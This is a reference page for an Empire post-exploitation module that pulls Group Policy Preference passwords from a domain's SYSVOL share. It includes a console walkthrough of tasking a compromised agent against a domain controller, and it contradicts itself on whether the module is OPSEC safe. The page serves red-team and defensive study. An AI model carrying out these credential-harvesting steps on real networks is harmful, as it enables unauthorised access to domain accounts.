Get Group Policy Preferences - Empire Module
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Module Overview
Name: Get Group Policy Preferences
Module: python/privesc/windows/get_gpppasswords
Source code:
empire/server/modules/python/privesc/windows/get_gpppasswords.yaml
MITRE ATT&CK:
T1003
Language: Python
Needs admin: No
OPSEC safe: Yes
Background: No
The get_gpppasswords module will attempt to pull group policy preference passwords from SYSVOL.
This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.
Note that the get_gpppasswords module does not need administrative privileges to work properly which means that a normal user can run this module.
Required Module Options
This is a list of options that are required by the get_gpppasswords module:
Agent
Agent to run on.
BindDN
[email protected].
LDAPAddress
LDAP IP/Hostname.
Additional Module Options
This is a list of additional options that are supported by the get_gpppasswords module:
password
Password to connect to LDAP.
Get_gpppasswords Example Usage
Here's an example of how to use the get_gpppasswords module in the Empire client console:
[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule python/privesc/windows/get_gpppasswords
Author @424f424f
Background False
Description This module will attempt to pull group policy preference passwords
from SYSVOL
Language python
Name python/privesc/windows/get_gpppasswords
NeedsAdmin False
OpsecSafe True
Techniques http://attack.mitre.org/techniques/T1003
,Record Options-------,----------,-----------------------------,
| Name | Value | Required | Description |
|-------------|-------|----------|-----------------------------|
| Agent | | True | Agent to run on. |
|-------------|-------|----------|-----------------------------|
| BindDN | | True | [email protected] |
|-------------|-------|----------|-----------------------------|
| LDAPAddress | | True | LDAP IP/Hostname |
|-------------|-------|----------|-----------------------------|
| password | | False | Password to connect to LDAP |
'-------------'-------'----------'-----------------------------'
(Empire: usemodule/python/privesc/windows/get_gpppasswords) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/python/privesc/windows/get_gpppasswords) > set BindDN [email protected]
[*] Set BindDN to [email protected]
(Empire: usemodule/python/privesc/windows/get_gpppasswords) > set LDAPAddress dc-01.local.corp
[*] Set LDAPAddress to dc-01.local.corp
(Empire: usemodule/python/privesc/windows/get_gpppasswords) > execute
[*] Tasked Y4LHEV83 to run Task 1
...
Now wait for the results to come.
Author
References
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/python/privesc/windows/get_gpppasswords.yaml
- http://attack.mitre.org/techniques/T1003
See Also
Check also the following modules related to this module:
- python/situational_awareness/network/active_directory/get_groups
- python/situational_awareness/network/active_directory/get_computers
- python/situational_awareness/network/active_directory/get_userinformation
- python/situational_awareness/network/active_directory/get_fileservers
- python/situational_awareness/network/active_directory/get_users
- python/situational_awareness/network/active_directory/get_groupmembers
- python/situational_awareness/network/active_directory/get_ous
- python/situational_awareness/network/active_directory/get_groupmemberships
- python/situational_awareness/network/active_directory/get_domaincontrollers
- python/situational_awareness/network/gethostbyname
- python/situational_awareness/network/active_directory/dscl_get_groups
- python/situational_awareness/network/active_directory/dscl_get_groupmembers
- python/situational_awareness/network/active_directory/dscl_get_users
- python/privesc/linux/linux_priv_checker
- python/privesc/linux/unix_privesc_check
- python/privesc/multi/bashdoor
- python/privesc/multi/sudo_spawn
- python/privesc/osx/piggyback
- python/privesc/osx/dyld_print_to_file
Version
This page has been created based on Empire version 4.1.3 (BC Security Fork).
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